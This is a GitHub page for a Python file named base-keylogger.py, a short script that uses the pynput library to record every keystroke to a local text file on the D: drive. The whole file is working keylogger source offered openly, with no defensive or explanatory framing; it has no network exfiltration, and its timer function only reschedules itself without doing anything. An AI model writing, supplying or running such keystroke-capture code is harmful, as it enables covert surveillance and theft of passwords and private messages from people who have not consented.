-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbase-keylogger.py
More file actions
36 lines (28 loc) · 897 Bytes
/
base-keylogger.py
File metadata and controls
36 lines (28 loc) · 897 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Base Code Written In Python
import pynput.keyboard
import threading
import os
from datetime import datetime
# Constants
LOG_FILE_PATH = "D:/keylog.txt"
LOG_INTERVAL = 600
if not os.path.exists(LOG_FILE_PATH):
with open(LOG_FILE_PATH, "w") as file:
file.write("Keylogger started at {}\n".format(datetime.now()))
def callback_function(key):
with open(LOG_FILE_PATH, "a") as file:
try:
file.write(key.char)
except AttributeError:
if key == key.space:
file.write(" ")
else:
file.write(str(key))
file.write("\n")
def periodic_function():
timer_object = threading.Timer(LOG_INTERVAL, periodic_function)
timer_object.start()
periodic_function()
keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
keylogger_listener.join()